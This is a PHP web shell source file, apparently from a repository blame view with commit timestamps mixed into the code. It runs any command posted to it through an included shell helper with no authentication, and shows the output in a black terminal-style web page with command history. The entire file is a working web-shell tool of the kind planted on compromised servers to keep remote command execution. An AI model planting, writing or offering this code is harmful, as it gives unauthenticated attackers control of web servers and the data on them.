2020-08-07 12:11:17 +08:00
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<?php
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/**
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* @author 肖其顿 <xiaoqidun@gmail.com>
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*/
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$command = isset($_POST['command']) ? strval($_POST['command']) : "";
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if ($command !== "") {
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require 'shell.class.php';
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echo shell::command($command, "echo pwd", true);
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exit;
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}
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?>
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<html>
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<head>
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<title>web shell</title>
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<style type="text/css">
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.author {
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width: 100%;
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color: white;
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text-align: center;
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background-color: black;
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}
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.commandInput {
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width: 100%;
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height: 3%;
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color: white;
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background-color: black;
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}
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.commandResult {
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width: 100%;
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height: 75%;
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color: white;
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overflow: scroll;
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background-color: black;
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}
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.commandHistory {
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width: 100%;
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height: 15%;
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color: white;
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overflow: scroll;
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background-color: black;
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}
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</style>
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<script type="text/javascript">
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function enter() {
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if (event.keyCode == 13) {
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command();
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}
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}
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function command() {
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var commandInput = document.getElementById('commandInput');
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if (commandInput.value.length > 0) {
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var commandResult = document.getElementById('commandResult');
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var commandHistory = document.getElementById('commandHistory');
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if (commandHistory.innerHTML.length < 1) {
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commandHistory.innerHTML = commandInput.value;
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} else {
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commandHistory.innerHTML = commandHistory.innerHTML + "\n" + commandInput.value;
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}
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commandHistory.scrollTop = commandHistory.scrollHeight;
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if (commandInput.value === 'clear') {
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commandInput.value = "";
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commandResult.innerHTML = "";
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commandHistory.innerHTML = "";
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return;
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}
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command_ajax();
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}
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}
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function command_ajax() {
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var xmlHttp = new XMLHttpRequest;
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var commandInput = document.getElementById('commandInput');
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var commandResult = document.getElementById('commandResult');
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xmlHttp.open("POST", "?", true);
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xmlHttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
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xmlHttp.send("command=" + encodeURI(commandInput.value));
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commandInput.value = "";
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xmlHttp.onreadystatechange = function () {
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if (xmlHttp.readyState === 4 && xmlHttp.status === 200) {
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if (commandResult.innerHTML.length < 1) {
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commandResult.innerHTML = xmlHttp.responseText;
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} else {
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commandResult.innerHTML = commandResult.innerHTML + "\n" + xmlHttp.responseText;
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}
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commandResult.scrollTop = commandResult.scrollHeight;
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}
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}
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}
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</script>
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</head>
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<body>
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<input id="commandInput" class="commandInput" onkeydown="enter()" placeholder="command">
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<pre id="commandHistory" class="commandHistory"></pre>
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<pre id="commandResult" class="commandResult"></pre>
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<div class="author">
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2021-10-23 23:34:18 +08:00
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CopyRight © 2017-<?= date("Y") ?> xiaoqidun@gmail.com All Rights Reserved
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2020-08-07 12:11:17 +08:00
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</div>
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</body>
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</html>
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